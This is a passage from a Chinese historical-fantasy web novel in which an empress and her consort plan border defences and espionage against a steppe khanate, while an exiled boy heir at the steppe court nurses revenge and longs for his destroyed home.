“你们享受着锦衣玉食,掌控着生杀大权,可曾想过,在你们看不见的北地,有一个你们亲手制造的孤魂,正日夜磨着复仇的利齿?等着吧……总有一天,我会回去的……带着漠北的铁骑,踏破你们的宫阙,将你们加诸在我孔家身上的一切,百倍奉还!” 风雪声掩盖了帐内少年压抑的哽咽与誓言。 在这漠北的王庭深处,一颗被仇恨彻底浸透的心,正在绝望与阴谋的浇灌下,以一种扭曲的方式,顽强而冰冷地生长着。 夜,还很长。 路,也更长。 ...... 长安城的雪,下了又停,停了又下,将紫宸宫的琉璃瓦覆盖了一层又一层,在冬日稀薄的阳光下,反射着清冷的光辉。 已是腊月廿三,小年将至,宫中的年味渐渐浓了起来,扫尘、挂灯、备宴,一派忙碌景象。 然而,在这份应节的喜庆之下,帝国权力中枢的几人心中,却始终紧绷着一根弦,弦的另一头,牵系着北方那片广袤而躁动的土地。 紫宸殿后殿的暖阁内,地龙烧得暖融如春,与外间的严寒隔绝。 慕容嫣斜倚在窗边的凤榻上,身上穿着那件作为寝居常服的黑金苏锦棉质睡裙——神凤降世裙。 墨黑的底料在透过窗棂的雪光映照下,更显沉静深邃,织入的金色棉绒与金线绣成的凤凰暗纹,流淌着一种介于柔和与威仪之间的光泽。 那件黑金貂皮披肩随意搭在榻边的熏笼上,汲取着温暖。 长达五丈的苏锦拖尾,从榻沿垂落,在光洁的金砖地面上铺散开一片迤逦的墨色云锦,因她近日多在榻上休养阅书,裙摆堆叠皱褶,蜿蜒至殿门方向,与铺设的厚绒地毯边缘交织,形成一种静谧而慵懒的凌乱。 宽大的喇叭袖一只软软搭在引枕上,另一只被她用来执着一卷书简。 她左手拇指上的墨玉扳指,在翻阅书页时,偶尔与玉质书简轻轻相叩,发出细微清响。 林臻坐在榻前的绣墩上,手中也拿着一份文书,是北疆八百里加急送来的军情邸报。他眉头微锁,显然内容并不轻松。 “夫君,北边……又有新动静了?”慕容嫣放下书卷,抬眼看向他,声音带着一丝不易察觉的凝重。 她的气色比前些日子好了不少,脸颊透出些微红润,但眉宇间那抹因国事而生的忧思并未散去。 林臻将邸报递给她,语气沉稳却透着重压: “嗯。漠北王庭这个冬天异乎寻常的安静,各部首领收缩在龙城周边,少有大规模狩猎。但我们的‘夜枭’探到,漠北左贤王乌维,近期频繁召集各部首领议事,而且……加强了对各部落年轻子弟的骑射集训,规模远超往年。更值得注意的是,他们似乎在大量囤积箭矢和打造攻城器械。” 慕容嫣接过邸报,快速浏览,越看神色越是清冷。她放下邸报,指尖无意识地划过榻上铺着的白虎皮褥子,发出轻微的沙沙声。 “事出反常必有妖。漠北人耐不住冬日的寂寞,往年此时也会有小股骚扰,如今这般蛰伏,要么是内部生变,要么……”她凤眸微眯,寒光乍现,“就是在酝酿一场远胜从前的风暴。” “我与杜相、兵部周尚书商议过,也认为后者可能性更大。” 林臻起身,走到悬挂的巨幅北疆舆图前,手指点向漠北龙城的方向, “乌维此人,野心勃勃,又新得了孔家子这面‘旗帜’,绝不会甘于久居苦寒之地。他此时按兵不动,更像是在等待时机,或许……就在开春冰雪消融之后。” 慕容嫣也起身,走到他身旁,那长长的墨金色拖尾随之在地面滑动。她仰头看着舆图上那片代表漠北的广阔区域,目光锐利如刀: “开春……草长马肥,正是用兵之时。他想借孔家遗孤之名,行吞并之实,打得好算盘!” 她冷哼一声, “可惜,他打错了主意!我大乾,不是他砧板上的鱼肉!” 第1043章 漠北不可小觑 “嫣儿所言极是。”林臻侧头看她,眼中满是赞赏与坚定,“北疆防线,我已命郑蛟利用冬日加紧加固工事,增派斥候,严密监控漠北一举一动。粮草军械也在持续输送。只是……” 他顿了顿,语气略带一丝忧虑,“若漠北倾力来攻,战线漫长,压力依然巨大。且朝中并非铁板一块。” 慕容嫣自然明白他话中所指。 孔家被灭门,虽震慑了宵小,但也让部分崇尚“仁政”、“宽恕”的士大夫心中存有芥蒂,只是暂时不敢言明。 若战事一起,耗费巨大,难免会有人非议她“穷兵黩武”,甚至暗中同情那“被迫流亡”的孔家遗孤。 “夫君是担心,有人会借此生事,甚至……与漠北暗通款曲?”慕容嫣转过身,面对林臻,拖尾因她的动作微微拂动。 “不得不防。”林臻目光深沉,“孔家千年经营,门生故吏遍布朝野,虽经清洗,难免有余孽潜伏。漠北若以‘扶立圣裔’为名,难保不会有人心动。” 慕容嫣沉默片刻,走到窗边,望着窗外庭院中覆雪的松柏,声音平静却带着不容置疑的威严: “那就让他们看看,什么是顺我者昌,逆我者亡!乱世用重典,非常之时行非常之法!谁若敢在此时动摇国本,通敌卖国,朕绝不吝惜屠刀!” 她回身看向林臻,眼中闪过一丝依赖,语气软了下来, “当然,这些阴私勾当,还需夫君替朕多多费心。” 林臻走到她身边,握住她微凉的手,柔声道:“放心,内有‘夜枭’监察,外有边军镇守,朝堂之上,我与杜相也会稳住局面。你只需安心调养,待来年春暖,以全盛之姿,坐镇中枢,震慑宵小即可。” 慕容嫣将头轻轻靠在他肩上,感受着他身上令人安心的气息,轻声道:“嗯,有夫君在,我自是放心的。只是辛苦你了……” 她顿了顿,像是想起什么,抬头问道, “对了,那个孔家子,在漠北近况如何?‘夜枭’可有新消息?” 林臻揽着她的肩,示意她坐回榻上,才道: “有。据报,乌维待他极厚,不仅请了漠北武士教其骑射,还找了汉人学者教其经史,甚至……允许他旁听一些部落议事。与那位萨仁公主,表面也维持着‘和睦’。” 他语气带着一丝讥讽, “乌维这是要将他一举打造成文武双全的‘明主’形象,其心可诛。” 慕容嫣闻言,嘴角勾起一抹冰冷的弧度: “倒是舍得下本钱。只可惜,画虎不成反类犬。孔圣之学,首重仁德礼义,他孔志谦认贼作父,与豺狼为伍,早已背离祖宗之道,就算读再多的圣贤书,也不过是沐猴而冠,徒增笑耳!” “话虽如此,但其煽惑之力,仍不可小觑。”林臻提醒道,“尤其对某些不明真相或别有用心的士人而言,这面‘旗帜’仍有其蛊惑性。” “那就拆了这面旗!”慕容嫣断然道,“让杜相他们,继续在士林中引导舆论,揭露其认贼作父、数典忘祖的实质。同时,严查各地与孔家有过密往来者,若有异动,坚决铲除!我们要让天下人知道,忠君爱国,方是大义所在!” “好,我稍后便去与杜相商议具体事宜。”林臻点头应下。 就在这时,殿外传来内侍恭敬的通禀声:“陛下,亲王殿下,膳房送了燕窝粥来,说是御医嘱咐,给陛下补身子的。” “送进来吧。”慕容嫣应道。 内侍端着玉碗进来,林臻接过,试了试温度,才亲自舀了一勺,吹了吹,递到慕容嫣唇边:“来,嫣儿,趁热喝点。” 慕容嫣看着他细心体贴的动作,心中一暖,顺从地张口喝下,脸上露出一丝满足的笑意:“夫君喂的,就是甜。” 窗外,雪又开始悄无声息地飘落,覆盖了世间万物的声响。 ...... 腊月廿五,长安城。 年关的喜庆气氛如同逐渐升温的暖流,开始浸润这座帝国的都城。 各坊市间张灯结彩,售卖年货的吆喝声此起彼伏,空气中弥漫着糖瓜、腊肉的香气,驱散着冬日的寒意。 然而,在这片升平景象之下,紫宸宫却如同一个巨大的精密仪器,在节日筹备的表象下,核心部件正以更高的频率运转,应对着来自北方的潜在威胁。 暖阁内,炭火烧得噼啪作响。 慕容嫣并未因年节将至而有丝毫松懈,反而比平日更显忙碌。 批阅完一摞关于各地年节祭祀、赏赐安排的常规奏章后,她将目光投向了案几另一侧那叠颜色更深、标记着“密”字的文书。 她身上依旧穿着那件神凤降世裙,墨黑的苏锦底料在暖阁的烛光下,吸收着光线,显得愈发深邃沉静,唯有织入的金色棉绒与金线绣成的凤凰暗纹,在她凝神阅读时,随着她细微的呼吸和动作,流淌着不易察觉的、内敛的金色光晕。 那件黑金貂皮披肩搭在一旁的椅背上,绒毛蓬松。 长达五丈的苏锦拖尾,从凤椅高高的基座上垂落,在光洁的金砖地面上铺散开一片迤逦的墨色云锦,因她频繁起身取放文书,那拖尾被带动得愈发凌乱,皱褶层层叠叠,蜿蜒扭曲,甚至有几处被椅脚无意中压住,更添几分繁忙中的无序感。 宽大的喇叭袖口,一只被她用来微微支撑着额角,袖缘的金线流苏拂过案面,另一只则软软垂在身侧。 林臻坐在下首,面前也摊开着一幅北疆的军事布防图,正用朱笔在上面做着细微的标记。 他的眉头微锁,显然正在推演某种复杂的局势。 “夫君,”慕容嫣放下手中一份来自北疆的密报,声音带着一丝疲惫,但更多的是冷静的分析, “郑蛟送来消息,漠北边境的几个小部落,近期有异常集结的迹象,虽然人数不多,但动向诡秘,不像往常冬季散居的模样。你如何看待?” 林臻抬起头,放下朱笔,走到她身边,很自然地伸手替她按揉着太阳穴,舒缓她的疲乏,同时沉声道: “这或许是一种试探,也可能是佯动。乌维老奸巨猾,不会在寒冬贸然发动大规模进攻,但这些小股人马的调动,既能骚扰我边境,侦察我方布防反应,也能为其主力开春后的行动进行铺垫和迷惑。” 他的手指温暖有力,慕容嫣舒适地闭上眼,轻轻“嗯”了一声,像只被顺毛的猫儿,语气带着依赖:“还是夫君看得透彻。那依你之见,我们当如何应对?” “示敌以强,内紧外松。”林臻手下动作不停,声音沉稳, “我已传令郑蛟,加强边境哨探,对任何靠近长城的小股敌人,坚决予以打击,毫不留情。同时,令各军镇如常备年,营造松懈假象,暗中则提高战备等级,轮番休整,养精蓄锐。我们要让乌维摸不清我们的虚实,更要让他知道,我大乾边关,绝非虚设。” 第1044章 朝中并非铁板一块 慕容嫣睁开眼,握住他按摩的手,拉下来放在自己膝上,指尖无意识地摩挲着他掌心的薄茧,眼中闪过一丝锐光: “正该如此。对待豺狼,唯有亮出猎枪,方能使其忌惮。只是……”她微微蹙眉, “我担心朝中有些人,见边境暂无大战,又会旧事重提,非议边军耗费钱粮,甚至……对孔家之事再生怜悯。” 林臻反手握紧她微凉的手指,语气坚定: “放心,此事我与杜相已有计较。年终祭天大典与元日大朝会,便是最好的时机。届时,陛下可亲自宣示朝廷重视武备、巩固边防的决心,褒奖边军将士之功。同时,让御史台寻几个典型,弹劾几个办事不力或散布消极言论的官员,以儆效尤。至于孔家……” 他冷哼一声, “若有人不识时务,正好借此机会,再清理一遍门户。” 他的话语中充满杀伐决断之气,让慕容嫣心中大定。 她将头靠在他坚实的臂膀上,轻声道:“有夫君替我谋划周全,我便可高枕无忧了。只是辛苦你,年关将至,还要为这些事劳心劳力。” “为你,为大乾,何谈辛苦。”林臻低头,在她发间落下一吻,语气温柔,“只要你安好,我便心安。” 就在这时,内侍在外轻声禀报:“陛下,亲王殿下,暗卫副统领影七有紧急密报呈递。” “宣。”慕容嫣立刻坐直身体,脸上慵懒的神色一扫而空,恢复了帝王的威仪。 影七快步进入,单膝跪地,呈上一枚细小的铜管:“陛下,殿下,北疆‘夜枭’急报!” 林臻接过铜管,验看火漆无误后,取出内里卷着的薄绢,快速浏览。他的脸色瞬间变得凝重起来,将绢纸递给慕容嫣:“嫣儿,你看。” 慕容嫣接过,目光一扫,瞳孔微缩。密报上的字迹潦草,显然书写时情况紧急: “……确认漠北左贤王乌维,于三日前秘密接见西域大宛国使者。双方密谈至深夜,内容不详,但大宛使者离去时,乌维亲送至帐外,态度异常热情。疑与开春后战事有关,或涉及军马、兵器交易……” “大宛国……”慕容嫣放下绢纸,指尖轻轻敲击着凤椅扶手,发出笃笃的轻响,眼中寒光闪烁,“西域良驹,冠绝天下,其铁器亦颇为精良。乌维此时秘密联络大宛,其心叵测!若让其获得大量战马和精良兵器,如虎添翼!” “看来,乌维这次是铁了心要大干一场了。”林臻语气冰冷,“我们必须早做防备。除了加强边境防御,或许……也该在西域方面,做些文章了。大宛国并非铁板一块,其国内亦有亲我大乾的势力。” “夫君的意思是……?”慕容嫣看向他。 “派人秘密接触大宛国内与乌维不合的贵族,或可许以重利,使其从中作梗,拖延甚至破坏此次交易。至少,也要摸清他们交易的具体内容和规模。”林臻眼中闪过谋士的精光。 “此计甚好!”慕容嫣赞道,“此事需绝对机密,人选亦要万分可靠。” “我让影一去办。他心思缜密,熟悉西域事务。”林臻当即决定。 大事议定,殿内气氛却更加凝重。北方的威胁,如同窗外愈加深沉的夜色,沉甸甸地压在心头。 慕容嫣起身,走到窗边,望着窗外庭中那株在风雪中傲然挺立的古松,沉默良久,才缓缓道:“树欲静而风不止。这个年,怕是过不安生了。” 林臻走到她身后,将双手轻轻放在她肩上,给予她无声的支持:“放心,兵来将挡,水来土掩。我大乾立国数十载,什么风浪没有经历过?只要我们君臣一心,将士用命,必能克敌制胜。” 慕容嫣转过身,将脸埋在他胸前,深吸一口他身上令人安心的气息,闷闷地说:“嗯,我知道。只是……总觉得对不住你,连个安稳年都不能让你过。” “傻话。”林臻轻抚她的后背,低笑道,“与你在一起,日日都是新年。待平定北疆,我再陪你好好补过一个,如何?” “一言为定。”慕容嫣抬起头,脸上终于露出一丝真切的笑意,尽管那笑意中仍带着挥之不去的忧虑。她回身欲取案上另一份奏章,就在她转身的刹那—— 动作带着心事重重的凝滞与决断后的利落! 那迤逦在地、铺散凌乱长达五丈的墨金色拖尾被骤然带动!华贵的苏锦拂过地面,发出“唰啦”一声轻响。 随着拖尾的飘起——赫然露出了里面那金线密织、在烛光下闪烁着如同暗夜中星河般璀璨而坚定光芒的“满地织金”内衬! 凤凰纹路在瞬间迸发出耀眼而凛然的光华,那光芒充满了应对挑战的决断、守护江山的力量以及一种与爱人并肩而立的坚定信念! 裙摆落下,将那片璀璨的金光掩盖。 慕容嫣拿起奏章,与林臻继续低声商议起来。 ...... 年节的氛围已然浓得化不开,各衙门口早已悬挂起大红灯笼,就连肃穆的皇城宫墙之下,也换上了寓意吉祥的新桃符。 空气中飘散着爆竹燃放后的淡淡硝石气味,与各家各户蒸煮年食的香气交织在一起。 然而,紫宸宫深处的暖阁,却仿佛被一层无形的隔膜罩住,外间的喧嚣与喜庆传到这里,只剩下些许模糊的背景音,如同远处溪流的潺潺水声。 暖阁内,地龙烧得极旺,暖意融融,与窗棂上凝结的厚厚冰花形成鲜明对比。 慕容嫣并未像往年此时般,忙于试穿新制的吉服或检视宫宴的筹备,她依旧穿着那身已成为她第二层肌肤的神凤降世裙。 墨黑的苏锦底料在温暖烛光的长时间烘烤下,似乎吸纳了足够的热量,泛出一种沉静如深海暖流般的微光。 织入的金色棉绒与金线绣成的凤凰暗纹,不再如往日那般跳跃闪烁,而是如同蛰伏的凤羽,流淌着一种蓄势待发的、温润而内敛的金色辉光。 那件黑金貂皮披肩,因室内温度过高,被妥帖地搭在远离暖炉的紫檀木架子上,以免绒毛被热气熏得失了光泽。 长达五丈的苏锦拖尾,在慕容嫣长时间静坐批阅奏章后,于金砖地面上铺陈得愈发恣意凌乱。 一部分被她无意中踩踏在脚下,形成了数道深深的褶皱;一部分蜿蜒至书架底部,与落地的幔帐流苏纠缠在一处;更有一长段,迤逦着穿过半个暖阁,直抵殿门方向,如同一条墨金色的寂静河流,将偌大的空间悄然分割。 这种凌乱,并非仓促所致,而是一种因极度专注和长久静滞而形成的、带着沉思痕迹的无序。 宽大的喇叭袖,一只被她用来垫着正在阅览的一本厚重典籍的下缘,袖口的金线流苏垂落案面,另一只则软软搭在椅臂上,随着她偶尔翻书的动作轻轻晃动。 她左手拇指上的墨玉扳指,在翻阅纸质奏章时,与纸张摩擦发出极细微的沙沙声。 第1045章 大宛国也要横插一脚 林臻坐在她对面的一张矮榻上,榻上铺着完整的白虎皮。 他并未处理文书,而是面前摊开着一幅极为详尽的西域诸国舆图,上面用不同颜色的朱砂标记着密密麻麻的注释。 他手中拈着一枚温润的白色围棋子,无意识地在指间摩挲,目光却久久凝驻在地图上“大宛国”的位置,眉头微蹙,陷入长久的沉思。 炭盆中的银骨炭偶尔爆出一两声脆响,成为这静谧空间中唯一的节奏。 良久,慕容嫣轻轻放下手中的朱笔,笔端的朱砂在白玉笔山上磕出一声轻响。 她抬起眼,揉了揉有些发涩的眉心,目光落在对面沉思的林臻身上,声音带着一丝疲惫的柔软:“夫君,看了这许久,可有所得?” 林臻闻声,从沉思中回过神来,将指尖的棋子轻轻放入一旁的青玉棋罐中,发出“嗒”的一声清响。 他抬眼看向慕容嫣,烛光下,她脸色虽仍有些苍白,但连日静养,眼底的青黑已淡去不少。 他唇角微微上扬,露出一抹温和的笑意:“吵到你了?” “没有,”慕容嫣微微摇头,将身子向后靠进椅背,让自己更舒适些,那墨金色的拖尾也随之在地面上有细微的挪动,“只是见你对着那图发了半日的呆,想必是遇到了难处。” 林臻起身,走到她案前,将那份西域舆图在她面前缓缓铺开,手指点向大宛国的位置: “难处倒也说不上,只是需要权衡。大宛国距我大乾万里之遥,中间隔着浩瀚沙海与诸多小邦,其国主猎骄靡,向来首鼠两端,既畏我天朝威仪,又贪图漠北许以的重利。乌维此次秘密遣使,所图必然不小。” 他的手指沿着舆图上勾勒的模糊路线缓缓移动: “我们若想派人潜入离间,或打探消息,路途艰险不说,时间上也极为紧迫。人选、路线、接应、如何取信于大宛内部与乌维不合的势力……每一步都需周密策划,稍有差池,便是打草惊蛇,甚至徒损精锐。” 慕容嫣倾身向前,手肘支在案上,仔细看着地图。她身上那件神凤降世裙的墨黑底色,在舆图泛黄的纸质衬托下,更显沉凝。 她伸出纤长的手指,指尖划过舆图上代表沙漠的连绵波纹符号,沉吟道: “确实不易。如同在茫茫沙海中寻找一枚特定的沙砾。” 她抬起眼,看向林臻,目光清澈而坚定, “但再难,也必须去做。绝不能坐视乌维获得西域良驹利器。夫君心中,可已有初步计较?” 林臻点了点头,手指点向舆图另一侧一个不起眼的小国名——“精绝”: “精绝国虽小,但其王室与我朝素有往来,其王子曾在长安为质,受沐华风,心向大乾。且精绝位于通往大宛的商路要冲,可作为中转之地。我意,可派一精明干练之人,以商队护卫或学者的身份,随商队先至精绝,再由精绝王子暗中引荐,接触大宛国内亲我方的贵族。” “人选呢?”慕容嫣追问,指尖无意识地卷着垂落肩头的一缕青丝。 “影一麾下有一人,代号‘灰隼’,通晓西域数种语言,曾多次往来丝路,熟悉沿途风土人情,且心思缜密,应变极强。他是最合适的人选。” 林臻答道,语气中对这人选颇为肯定。 慕容嫣沉思片刻,缓缓颔首:“影一推荐的人,想必是可靠的。只是……此行凶险万分,需得给予其临机决断之权,并许以重赏,安其家小,方能令其效死力。” “这是自然。”林臻应道,“赏格已拟好,其家小会得到最好的照料和绝对的保密。此外,我会让他带上最新的‘雀舌’密信传递之法,以确保消息能及时传回。” 议定了这桩隐秘之事,暖阁内又陷入短暂的沉默。慕容嫣的目光重新落回案头那堆积如山的奏章上,轻轻叹了口气:“年关岁尾,本该是万家团圆、共叙天伦之时,却因这北疆之事,搅得人心惶惶,连这宫里头,也难得片刻清净。” 林臻走到她身后,双手轻轻按上她的太阳穴,力道适中地揉按着,柔声道: “在其位,谋其政。你我既掌这万里江山,便注定要承受这常人难以想象的重负。待到四海升平,百姓安乐之时,我再陪你寻一处清净之地,好好歇上几年,如何?” 他的按摩有效地缓解了慕容嫣的头痛,她舒适地闭上眼,将头向后靠在他温暖的手掌上,嘴角泛起一丝浅浅的、带着依赖的笑意: “这可是你说的,不许反悔。到时,我可要你天天陪着我,什么都不许管。” “好,都依你。”林臻低笑,语气宠溺至极。 就在这时,窗外传来一阵急促的脚步声,由远及近,在寂静的雪夜里格外清晰。 紧接着,暖阁外响起内侍压低了的、却难掩急促的通禀声:“陛下,亲王殿下,北疆六百里加急军报!” 慕容嫣倏然睁开眼,与林臻对视一眼,两人眼中都闪过一丝凝重。林臻沉声道:“送进来!” 一名风尘仆仆、甲胄上还带着未化尽雪花的信使被引了进来,他单膝跪地,双手高举一个密封的铜管,气息微喘:“陛下,殿下,郑蛟大将军急报!” 林臻快步上前接过铜管,验看火漆无误后,迅速打开,取出里面的绢书,快速浏览。 他的脸色随着阅读的深入,渐渐变得冷峻起来。 “怎么了?”慕容嫣站起身,走到他身边,关切地问。 林臻将绢书递给她,声音低沉: “漠北左贤王乌维,五日前于龙城举行大规模冬狩祭天,各部首领齐聚。祭天仪式上,乌维当众宣布,立其幼女萨仁公主为‘草原明珠’,并赐予其夫婿、孔志谦‘圣裔驸马’尊号,令其参与王庭军政议事。此举,意在为其南下之举,正名立号!” 慕容嫣看着绢书上的字句,指尖微微发凉。 她仿佛能看到,在遥远的漠北龙城,冰天雪地之中,那个名叫孔志谦的少年,穿着异族的华服,站在高高的祭台上,接受着万千漠北骑士的瞩目,而那目光中,充满了对南方富饶土地的贪婪,以及被精心煽动起来的、针对她慕容嫣和林臻的仇恨。 她缓缓抬起头,望向窗外漆黑的夜空,雪花正无声地飘落。 第1046章 圣裔驸马 漠北龙城。这是一年中最寒冷的时节,呵气成冰,北风卷着雪沫,如同冰冷的砂砾抽打在脸上。 相较于南方长安城渐浓的年节喜庆,这片广袤的草原被一片死寂的白色覆盖,唯有王庭中心那连绵的毡帐群,在夜幕降临时透出星星点点的灯火与模糊的人声,如同雪原上蛰伏的巨兽喘息时露出的些微热气。 左贤王乌维的金顶大帐内,牛油巨烛燃烧正旺,将帐内映照得亮如白昼,也驱散了部分渗入的寒意。 一场小型的、仅限于核心部族首领的围猎庆功宴正在举行。 空气中弥漫着浓烈的烤羊肉腥膻气、辛辣的马奶酒味,以及男人们身上散发的汗味与皮革气息。 粗犷的笑声、碗盏碰撞声、以及侍女穿梭时皮靴踩踏地面的声响交织在一起,充满了蛮荒的活力。 然而,在这片喧嚣之中,有一个角落却显得格外安静。 年仅十一岁的孔志谦,身着左贤王赏赐的、以银狐皮镶边的墨蓝色漠北锦袍,坐在距离主位不远的席位上。 他的坐姿挺拔,带着一种被刻意训练出的、与年龄不符的沉静。 面前案几上摆放着油光闪闪的羊腿和奶食,他却很少动筷,只是偶尔端起面前的银碗,小口啜饮着碗中温热的、掺了水的马奶酒,那辛辣的味道依旧让他喉间不适,但他眉头都未曾皱一下。 他的目光低垂,似乎专注于面前的食物,但眼角余光却如同最警惕的幼兽,不着痕迹地扫视着帐内每一个高声谈笑、大口喝酒的部落首领,将他们的话语、神态、乃至彼此间细微的互动,都默默记在心里。 乌维坐在上首,虬髯贲张,正与身旁一位满脸刀疤的万夫长豪饮,声若洪钟,但孔志谦注意到,乌维那双鹰隼般的眼睛,在看似醉意朦胧之际,仍会锐利地扫过全场,尤其是在几个实力较强的部落首领身上停留片刻。 “来!为我们漠北的雄鹰,未来的希望,圣裔驸马,满饮此碗!”乌维忽然举起酒碗,目光投向孔志谦,声音带着刻意的热情,顿时将全帐的目光都吸引了过来。 孔志谦心中凛然,知道戏码又来了。 他立刻放下银碗,站起身,双手捧起面前那碗他几乎未动的马奶酒,脸上努力挤出一丝符合年龄的、略带腼腆又受宠若惊的表情,用已经颇为流利的漠北语,清晰而恭敬地回应: “志谦愧不敢当!全赖大汗与左贤王庇佑,各位叔伯抬爱!志谦年少德薄,愿以此酒,敬祝大汗与左贤王福寿安康,敬祝我漠北铁骑,所向披靡!” 说罢,他仰头,将碗中辛辣的酒液一饮而尽,辛辣感从喉咙一直烧到胃里,让他忍不住轻轻咳嗽了一声,脸颊也泛起不正常的红晕。 这恰到好处的“失态”,反而引来了帐内一片更显“亲近”的哄笑声。 那位刀疤万夫长拍着桌子大笑:“好!驸马爷年纪虽小,酒量和胆气都不小!是条汉子!” 乌维也满意地哈哈大笑,眼中闪过一丝不易察觉的得意。 他要的就是这个效果——一个懂得感恩、略有稚气却正在努力融入漠北、并且被各部首领逐渐接受的“圣裔”形象。 坐在孔志谦身旁的,是年仅八岁的萨仁公主。 她穿着鲜艳的红色皮袍,小脸被帐内的热气熏得红扑扑的,正专心致志地用一柄小巧的金刀切割着一块嫩羊肉,似乎对周围的喧嚣并不十分在意。 只有当父王提到“驸马”时,她才会抬起大眼睛,好奇地瞥一眼身旁这个总是沉默寡言的“小丈夫”,然后又迅速低下头去。 孔志谦偶尔会按照嬷嬷事先的叮嘱,将自己案上某样看起来更精致的点心,默默推到萨仁面前,换来小女孩一个羞涩又开心的笑容。 这幕“夫妻和睦”的景象,自然又落入了不少有心人的眼中。 宴会持续到深夜才散。 孔志谦牵着萨仁的手——这也是乌维要求的“必要礼节”——将她送回旁边专属于公主的、布置得温暖华丽的毡帐,交由等候的嬷嬷。 整个过程,他面无表情,动作机械,如同完成一项任务。 回到自己那顶虽然宽敞却总感觉空荡冰冷的驸马帐,屏退了侍从,孔志谦脸上所有的伪装瞬间褪去,只剩下深入骨髓的疲惫与冰冷。 他脱下那件带着浓重酒气和肉腥味的锦袍,随意扔在铺着狼皮的矮榻上,仿佛要甩掉某种粘稠的污秽。 帐内只点了一盏昏黄的牛油灯,光线摇曳,将他瘦小的影子投在毡壁上,拉得忽长忽短,如同鬼魅。 他走到帐中一个小小的铜盆前,用冰冷的清水反复擦洗着脸和手,似乎想洗去刚才宴会上沾染的一切气息。 水很冷,刺得皮肤生疼,却让他混乱的头脑稍微清醒了一些。 他抬起头,望着铜盆中水面倒映出的、那张依旧稚嫩却写满了与年龄不符的阴郁和冷漠的脸庞。 “圣裔驸马……” 他对着水中的倒影,无声地扯动嘴角,露出一抹比哭还难看的、充满讥讽的冷笑。这光鲜的称号背后,是无尽的屈辱、监视和利用。乌维需要他这面旗帜来笼络人心,来为未来的南下侵略粉饰太平。 而他,需要借助漠北的力量,活下去,变得强大,然后……复仇。 他走到帐壁旁,那里挂着一把他每日练习用的、缩小版的漠北弯刀。 他伸手,轻轻抚摸着冰冷锋利的刀身,指尖传来一丝危险的触感。 这把刀,是乌维赏赐的,意在让他熟悉漠北的武器,融入漠北的文化。 可每当握住刀柄,他心中想的,却是如何用它,割开仇敌的喉咙。 “慕容嫣……林臻……”他在心中默念这两个名字,恨意如同毒藤般疯狂滋长,几乎要冲破胸膛。 他知道,他们此刻一定在温暖奢华的长安宫殿里,享受着万民朝拜,或许还在嘲笑着孔家的覆灭,嘲笑着他这个侥幸逃生、认贼作父的“余孽”。 “等着吧……”他对着虚空,用只有自己能听到的声音,一字一顿地发誓,“你们加诸在我孔家身上的一切,我会百倍奉还!漠北的铁骑,终将踏破长安!我会亲手……拿回属于我的一切!” 第1047章 再也回不去的家乡 年的概念在这片广袤而严酷的土地上,显得模糊而遥远。 没有红灯笼,没有爆竹声,没有炊烟里蒸腾的年糕香气,只有无边无际的白,和渗入骨髓的冷。 一场持续了三天三夜的大雪终于停歇,天空却并未放晴,而是呈现出一种沉闷的、铅灰色的浑浊,低低地压着被厚厚积雪覆盖的、死寂的草原。 放眼望去,天地间只剩下一种颜色——白,一种吞噬了一切生机的、冷酷的白。 远处的山峦失去了棱角,化作一道道臃肿的雪丘。 近处的枯草被积雪彻底压弯、掩埋,只偶尔有几根特别坚韧的草茎,刺破雪壳,在寒风中瑟瑟抖动,如同垂死之人的手指。 漠北王庭连绵的毡帐,变成了雪原上一个个孤零零的、覆着厚厚雪顶的鼓包,毡帐顶上竖立的狼头纛旗,被冻得僵硬,纹丝不动地指向灰蒙蒙的天空。 寒风如同无数把冰冷的锉刀,贴着地面刮过,卷起细碎的雪沫,打在脸上,针扎似的疼。 空气冷得仿佛凝固了,每一次呼吸,都像吸入无数细小的冰晶,刺痛着鼻腔和肺部,呼出的白气瞬间就在睫毛、眉梢凝结成霜。 在这片极致的严寒与寂静中,一骑瘦马,踏着没及马膝的深雪,缓慢地行走在龙城边缘的旷野上。 马背上,是穿着厚厚皮袍、戴着遮耳皮帽的孔志谦。 他奉左贤王乌维之命,跟随一位老练的斥候百夫长,学习在极端天气下辨识方向、追踪痕迹。这既是训练,也是一种无形的监视。 老百夫长在不远处勒马停下,正用粗糙的手指捻着一撮雪,放在鼻尖嗅闻,试图判断风向和远处可能存在的生命气息。 孔志谦勒住缰绳,任由胯下那匹耐寒的蒙古马不耐烦地打着响鼻,喷出团团浓密的白雾。 他抬起眼,环顾四周。天地间除了风声,再无其他声响,一种巨大的、令人心悸的孤独感,如同这冰冷的空气,从四面八方包裹而来,沉重地压在他的心头。 这种死寂的白,与记忆中曲阜的冬天,截然不同。 曲阜的冬天,是喧闹而温暖的。 记忆如同被冻僵的河面下悄然涌动的水流,不受控制地破冰而出。 他仿佛又看到了孔府那朱红色的大门,门前那两尊历经风雨的石狮子,身上落着薄薄的一层雪,却依旧威严。 院子里,那几株老梅树,该是到了怒放的时候了,虬枝上积着雪,却挡不住那凌寒独自开的、清冽而执着的香气,丝丝缕缕,沁人心脾。 堂屋里,一定烧着暖烘烘的炭盆,张嬷嬷会早早地备好手炉,母亲会温柔地唤他:“谦儿,快来烤烤火,喝碗热腾腾的杏仁茶。” 父亲或许会难得地放下书卷,考较他昨日的功课,或是指点他临摹的字帖。 窗棂上,会贴上母亲亲手剪的、寓意吉祥的窗花……空气里,弥漫的是墨香、茶香、还有年节下特有的、各种点心糕饼的甜香。 即便下雪,也是轻柔的,柔软的,孩子们会欢笑着在院子里堆雪人,打雪仗,而不是像这里,雪是杀人的刀,风是索命的鬼。 而此刻,触目所及,只有绝望的白。 吸入的,是割喉的冷。 耳边回响的,是饿狼般凄厉的风嚎。 鼻尖萦绕的,是皮袍上洗不掉的腥膻味,和马匹身上浓烈的体味。 记忆中的温暖景象与眼前残酷的现实,形成了尖锐得令人窒息的对比。 一股尖锐的、如同被冰锥刺穿般的酸楚,猛地从心底最深处窜起,瞬间冲垮了他连日来用仇恨和冷漠筑起的心防。 他想家。 这个念头如同毒草,在冰冻的心湖下疯狂滋生,缠绕住他的五脏六腑,越收越紧,痛得他几乎无法呼吸。 他想念曲阜那个虽然规矩森严、却充满了书香和温情家。 想念父亲严厉却暗藏关爱的目光,想念母亲温柔似水的怀抱,想念张嬷嬷絮絮叨叨的叮嘱,甚至想念那些被他捉弄过的堂兄弟…… 想念那座城里,每一条熟悉的青石板路,每一家飘出食物香气的小店,那棵据说孔子亲手栽种、需数人合抱的桧柏…… 可是,家在哪里? 曲阜孔府,已经成了一片焦土,一片被鲜血浸透的废墟。 